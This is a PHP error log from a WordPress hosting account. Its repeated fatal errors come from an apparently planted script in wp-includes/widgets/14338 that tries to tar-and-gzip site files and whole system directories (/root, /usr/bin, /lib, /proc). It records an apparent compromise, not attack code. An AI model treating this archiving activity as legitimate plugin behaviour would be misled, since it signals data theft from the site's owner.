[05-Nov-2025 16:14:25 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/customize-models.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:14:30 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/customize-loader.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:14:35 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/autoload.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:14:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/site-tagline.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:14:47 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/post-content.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:14:55 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/comment-template.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:15:18 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/embed-404.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:15:23 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/customize-preview.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:15:27 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/latest-posts.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:15:30 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/query-no-results.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:15:34 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/read-more.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:16:23 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a file that could not be opened "/usr/sbin/unix_update" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:17:22 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a file that could not be opened "/proc/fb" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:17:29 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a file that could not be opened "/proc/fb" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:17:32 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: RecursiveDirectoryIterator::__construct(/root): Failed to open directory: Permission denied in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 [internal function]: RecursiveDirectoryIterator->__construct()
#1 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#2 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:18:37 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/dashicons.woff.woff.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:18:55 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/site-logo.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:19:38 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a file that could not be opened "/opt/alt/php-internal" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:19:52 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/post-date.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:22:45 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/post-excerpt.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:23:07 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/usr/libexec/platform-python3.6" that is not in the base directory "/usr/bin" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:25:16 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a file that could not be opened "/opt/alt/php-internal" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:26:21 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:26:56 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/comment-date.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:29:04 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/post-author-name.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:29:28 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/comments-pagination.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:29:57 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/widget-group.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:30:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/customize-base.js.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:32:04 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/shortcode.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:33:52 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/page-list.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:34:17 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/style.css.css.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:35:21 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/home-link.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:36:23 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/toggle-arrow.png.png.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:37:20 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/footer.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:39:00 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/query-pagination.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:39:37 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/footnotes.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:39:49 UTC] PHP Fatal error:  Allowed memory size of 1073741824 bytes exhausted (tried to allocate 803217141 bytes) in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:40:14 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/underscore.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:40:48 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/header.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:41:16 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/media-grid.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:41:48 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/comment-author-name.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:42:06 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/tag-cloud.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:42:29 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/toggle-arrow-2x.png.png.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:42:52 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/term-description.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:43:42 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/media-audiovideo.min.js.min.js.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:44:04 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/navigation-link.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:44:24 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/latest-comments.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:44:38 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/usr/libexec/platform-python3.6" that is not in the base directory "/usr/bin" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:45:07 UTC] PHP Fatal error:  Uncaught UnexpectedValueException: Iterator RecursiveIteratorIterator returned a path "/usr/lib/python3.6/site-packages/__pycache__/six.cpython-36.pyc" that is not in the base directory "/lib" in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->buildFromDirectory()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:45:11 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/post-template.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
[05-Nov-2025 16:47:16 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/comments.tar.gz" exists and must be unlinked prior to conversion in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php:2
Stack trace:
#0 /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php(2): PharData->compress()
#1 {main}
  thrown in /home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/widgets/14338/index.php on line 2
